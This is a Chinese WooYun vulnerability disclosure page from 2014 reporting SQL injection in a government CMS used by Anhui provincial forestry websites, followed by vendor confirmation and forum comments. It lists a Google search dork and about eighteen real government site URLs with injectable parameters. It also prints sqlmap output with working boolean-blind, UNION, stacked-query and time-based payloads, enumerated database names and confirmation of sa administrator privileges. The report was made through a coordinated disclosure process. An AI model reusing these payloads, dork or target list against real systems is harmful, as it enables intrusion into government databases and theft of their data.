当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066332

漏洞标题:某政府CMS通用SQL注入漏洞(全为sa)

相关厂商:Cncert国家互联网应急中心

漏洞作者:

提交时间:2014-07-07 18:33

修复时间:2014-10-05 18:34

公开时间:2014-10-05 18:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-07: 细节已通知厂商并且等待厂商处理中
2014-07-12: 厂商已经确认,细节仅向厂商公开
2014-07-15: 细节向第三方安全合作伙伴开放
2014-09-05: 细节向核心白帽子及相关领域专家公开
2014-09-15: 细节向普通白帽子公开
2014-09-25: 细节向实习白帽子公开
2014-10-05: 细节向公众公开

简要描述:

某政府CMS通用SQL注入漏洞(全为sa)

详细说明:

http://wooyun.org/bugs/wooyun-2010-054577 从U神提交的关键词搜到的站点 应该是同一厂商,这个走的前台,我提交的这个应该也行吧
1. 多用于安徽省内林业信息GOV站点,谷歌搜索语法:

inurl:zxzx_show.jsp?ID intitle:在线咨询


2. 提供案例仅供Cncert国家互联网应急中心测试(ID参数存在注入):

http://www.ahly.gov.cn/hdcy/zxzx_show.jsp?ID=79  安徽林业信息网
http://www.ahhbly.gov.cn/hdcy/zxzx_show.jsp?ID=79 淮北市林业信息网
http://www.ahaqly.gov.cn/hdcy/zxzx_show.jsp?ID=304 安庆林业信息网
http://www.ahbbly.gov.cn/hdcy/zxzx_show.jsp?ID=28 蚌埠林业信息网
http://www.ahczly.gov.cn/hdcy/zxzx_show.jsp?ID=105 滁州市林业信息网
http://www.ahxcly.gov.cn/hdcy/zxzx_show.jsp?ID=124 宣城林业信息网
http://www.ahtlly.gov.cn/hdcy/zxzx_show.jsp?ID=34 铜陵林业信息网
http://www.ahfyly.gov.cn/hdcy/zxzx_show.jsp?ID=122 阜阳林业信息网
http://www.ahlaly.gov.cn/hdcy/zxzx_show.jsp?ID=53 六安市林业信息网
http://www.ahbzly.gov.cn/hdcy/zxzx_show.jsp?ID=42 亳州林业信息网
http://www.ahmasly.gov.cn/hdcy/zxzx_show.jsp?ID=30 马鞍山林业信息网
http://www.ahchizly.gov.cn/hdcy/zxzx_show.jsp?ID=133 池州林业信息网
http://www.ahwhly.gov.cn/hdcy/zxzx_show.jsp?ID=44 芜湖市林业信息网
http://www.ahhnly.gov.cn/hdcy/zxzx_show.jsp?ID=35 淮南市林业信息网
http://www.ahhflyj.gov.cn/hdcy/zxzx_show.jsp?ID=34 合肥市林业信息网
http://www.ahhsly.gov.cn/hdcy/zxzx_show.jsp?ID=34 黄山林业信息网
http://www.ahwhly.gov.cn/hdcy/zxzx_show.jsp?ID=34 芜湖林业信息网
http://www.ahszly.gov.cn/hdcy/zxzx_show.jsp?ID=34 宿州林业信息网

漏洞证明:

淮北市林业信息网为例:

q1.jpg


q2.jpg


---
Place: GET
Parameter: ID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ID=79 AND 1446=1446
Type: UNION query
Title: Generic UNION query (NULL) - 14 columns
Payload: ID=-9120 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(114)+CHAR(107)+C
HAR(116)+CHAR(113)+CHAR(100)+CHAR(66)+CHAR(108)+CHAR(67)+CHAR(70)+CHAR(89)+CHAR(
73)+CHAR(70)+CHAR(85)+CHAR(74)+CHAR(113)+CHAR(115)+CHAR(108)+CHAR(104)+CHAR(113)
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ID=79; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: ID=79 WAITFOR DELAY '0:0:5'--
---


available databases [25]:
[*] ahly_anqing
[*] ahly_bengbu
[*] ahly_bozhou
[*] ahly_chaohu
[*] ahly_chizhou
[*] ahly_chuzhou
[*] ahly_fuyang
[*] ahly_hefei
[*] ahly_huaibei
[*] ahly_huainan
[*] ahly_huangshan
[*] ahly_luan
[*] ahly_maanshan
[*] ahly_neinew
[*] ahly_suzhou
[*] ahly_tongling
[*] ahly_wuhu
[*] ahly_xuancheng
[*] distmodel
[*] lyj_xx
[*] master
[*] model
[*] msdb
[*] netweb_ahly
[*] tempdb


SA权限:

database management system users privileges:
[*] sa (administrator)


修复方案:

版权声明:转载请注明来源 @乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-07-12 12:57

厂商回复:

CNVD确认并复现所述情况(为定制系统且为同一网站集群),根据测试实例,已经转由CNCERT下发给安徽分中心,由其后续联系网站管理单位处置。rank 16

最新状态:

暂无


漏洞评价:

评论

  1. 2014-07-07 22:35 | Ares ( 路人 | Rank:29 漏洞数:8 | 来自幼儿园大班)

    施主,我已经到了你门口,请开门

  2. 2014-07-08 01:32 | 小小鸟 ( 路人 | Rank:8 漏洞数:6 | 小白一个)

    咚~咚~咚~开门~查水表

  3. 2014-07-08 02:24 | 黑吊丝 ( 路人 | Rank:18 漏洞数:4 | 木心木肺黑吊丝)

    爆破1组准备

  4. 2014-08-17 12:07 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    这个也是通用啊 同一个站啊

  5. 2014-08-17 12:10 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    看错了,是不同的站

  6. 2014-08-29 17:35 | X防部 ( 普通白帽子 | Rank:487 漏洞数:137 )

    洞主这个冻给了多少钱?

  7. 2014-08-29 17:36 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    @X防部 我回答你吧200

  8. 2014-08-29 17:36 | ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子,但是除了他华...)

    @X防部 200 目测为了发通用的效率 奖金都缩水了 今天连发了3个200

  9. 2014-08-29 17:43 | X防部 ( 普通白帽子 | Rank:487 漏洞数:137 )

    @魇 貌似5月份小众厂商高危漏洞都是500

  10. 2014-08-29 17:53 | ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子,但是除了他华...)

    @X防部 是的 落差很大现在

  11. 2014-10-05 19:51 | Moo ( 路人 | Rank:8 漏洞数:3 | PS:不打脸,还要泡妞呢)

    @魇 分分钟拉河南人 爆你菊花,居然挑衅我大安徽。哇咔咔

  12. 2014-12-11 02:05 | hack雪花 ( 实习白帽子 | Rank:67 漏洞数:18 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @Moo 你安徽的